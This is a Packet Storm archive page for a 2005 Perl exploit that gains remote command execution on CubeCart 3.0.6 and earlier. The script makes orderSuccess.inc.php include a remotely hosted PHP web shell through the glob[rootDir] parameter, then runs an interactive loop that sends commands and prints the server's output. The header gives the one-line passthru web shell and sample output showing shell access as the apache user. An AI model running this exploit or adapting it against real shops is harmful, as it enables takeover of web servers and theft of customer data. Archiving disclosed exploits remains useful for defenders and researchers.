exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cijfer-ccxpl.pl.txt

cijfer-ccxpl.pl.txt
Posted Dec 31, 2005
Authored by cijfer

Remote command execution exploit for CubeCart versions 3.0.6 and below that makes use of an input sanitization flaw in orderSuccess.inc.php.

tags | exploit, remote, php
SHA-256 | 00fbd0c7206790a27b12b5ae24f9fbea2296507f3b1dcffb6d9667818b0c41b4

cijfer-ccxpl.pl.txt

Change Mirror Download
#!/usr/bin/perl
#
# cijfer-ccxpl - CubeCart <=3.0.6 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.
#
## 1. example
#
# [cijfer@kalma:/research]$ perl ./cijfer-ccxpl.pl -h www.xxx.com -d
# [cijfer@www.xxx.com /]$ id;uname -a
# uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv)
# Linux server.xxx.com 2.6.10-1.771_FC2 #1 Mon Mar 28 00:50:14 EST 2005 i686 i686 i386 GNU/Linux
#
# [cijfer@www.xxx.com /]$
#
## 2. explanation
#
# a serious bug was discovered by me in CubeCart 3.0.6 and below which an attacker
# can remotely execute arbitrary commands via 'includes/orderSuccess.inc.php' where
# passing input to the 'glob' and 'cart_order_id' variable, we can attain access to
# passing input to the 'glob[rootDir]' variable, and include a remote execution script
# to execute arbitrary commands. as usual, this requires 'register_globals' to be
# enabled in order to successfully do this, otherwise a 403 error will show.
#
## 3. the bug
#
# this below allows us to bypass the 403 error...
#
# <?
# ...
# if(!isset($glob)){ [1]
# ...
#
# pass more positive input to $cart_order_id and do you notice what is wrong here?
# ...
# if(isset($cart_order_id) && !empty($cart_order_id)){ [2]
# // build thank you and confirmation email
# include($glob['rootDir']."/classes/htmlMimeMail.php"); [3] !dangerous!
# $mail = new htmlMimeMail();
# ...
#
## 4. the php shell
#
# this exploit grabs data via regular expression strings. foreign php shell
# scripts will not work with this exploit. use the following code along with
# this exploit and put it in 'cmd.txt' or whatever you please:
#
# <?passthru($_GET[cmd]);?>
#
## 5. the greets
#
# kippis to Zodiac, felosi, and odz. also shouts to lethal & hexy
#
##
#
# $Id: cijfer-ccxpl.pl,v 0.2 2005/12/30 06:02:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$shel = "http://website.com/cmd.txt"; # cmd shell url
$cmdv = "cmd"; # cmd variable (ex. passthru($_GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
print "cijfer-ccxpl.pl by cijfer\n";
print "usage: $0 -h cijfer.xxx -d /cubecart\r\n";
print "usage: $0 -h <hostname> -d <directory>\r\n";
exit();
}

while()
{
print "[cijfer@".$host." /]\$ ";
while(<STDIN>)
{
$cmds=$_;
chomp($cmds);
last;
}

$string = $dirs;
$string .= "/includes/orderSuccess.inc.php?";
$string .= uri_escape($cmdv);
$string .= "=";
$string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B";
$string .= uri_escape($cmds).";echo";
$string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;";
$string .= "&glob=1&cart_order_id=1&glob[rootDir]=";
$string .= $shel;
$string .= "?";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

print $sock "GET $string HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

while($result = <$sock>)
{
if($result =~ /^_END_/)
{
$good=0;
}

if($good==1)
{
print $result;
}

if($result =~ /^_START_/)
{
$good=1;
}
}
}


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close